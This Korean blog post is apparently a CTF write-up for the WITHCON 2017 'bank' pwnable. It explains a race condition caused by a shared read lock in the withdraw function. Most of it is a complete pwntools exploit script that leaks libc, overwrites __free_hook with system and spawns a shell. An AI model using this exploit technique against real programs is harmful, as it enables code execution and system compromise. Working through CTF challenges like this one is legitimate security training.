-
WITHCON 2017 bankPwnable/CTF 2018. 1. 15. 23:58
레이스 컨디션 공부가 제대로 되어있지않아 공부하느라 오래걸리고 노트북이 맛이 가서 A/S 받고 하느라 푸는데 너무 오래걸린것같다
레이스컨디션 부분은 WRITE UP을 참고하였다.
몇몇 함수들을 thread로 실행시키는것을 보자마자 레이스 컨디션이라는것을 예상을 하였다.
메인 4번 메뉴인 withdraw를 보면
0x603228 +1 -= a1를 하는데 black을 사용할때 쓰이는 pthread_rwlock_t 변수에서 rdlock을 걸면서 race condition 취약점이 생긴다.http://xnuclear.tistory.com/6
위 링크에서 rdlock 설명 부분을보면 같은 rdlock상태에서 또 다른 쓰레드에서 rdlock을 걸어도 블록이 되지않는다는 것을 볼 수 있는데 그 것을 이용하여서 문제를 풀수있다.
1234567891011bank {char* nameuint64_t balanceint64_t onoff}item {char name[32]int64_t priceuint64_t print}cs 구조체는 대충 이런 형태일것이다.12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576from pwn import *p = process("./bank")#all blackdef show():p.sendlineafter('> ','1')def transfer(num):p.sendlineafter('> ','2')p.sendlineafter('> ','2')p.sendlineafter('> ',str(num))def deposit(num):p.sendlineafter('> ','3')p.sendlineafter('> ','2')p.sendlineafter('> ',str(num))def withdraw(num):p.sendlineafter('> ','4')p.sendlineafter('> ','2')p.sendlineafter('> ',str(num))def buy(item):p.sendlineafter('> ','5')p.recvuntil('?')p.sendlineafter('> ',str(item))def change(idx,name):p.sendlineafter('> ','6')p.sendlineafter('> ',str(idx))p.sendlineafter('> ',name)def bank_change(data):p.sendlineafter('> ','5')p.recvuntil('?')p.sendlineafter('> ','\xff')p.sendlineafter('> ','1')p.sendline(data)deposit(800) #cash -> black bank == 0,800for i in range(3):transfer(1)withdraw(400)withdraw(400)sleep(5)withdraw(10000000)withdraw(0xFE0B6B3A763FFFF)buy(1)buy(1)change(0,"/bin/sh\x00")for i in range(14):buy(1)sleep(3)buy(1) #whitechange(16,p64(0x602f50))show() #puts leakp.recvuntil('Number : ')puts = u64(p.recv(6)+"\x00\x00")libc_base = puts - 0x6f690free_hook = libc_base + 0x3c67a8system = libc_base + 0x45390print hex(puts)print hex(libc_base)print hex(free_hook)print hex(system)change(16,p64(free_hook))bank_change(p64(system))p.sendlineafter('> ','7')p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
Codeblue 2017 simple memo pad (0) 2018.01.17 Codegate 2017 hunting (0) 2018.01.17 WITHCON 2017 combination (0) 2018.01.12 SECCON 2017 video_player (0) 2018.01.11 SECCON 2017 secure Keymanager, Election (0) 2018.01.10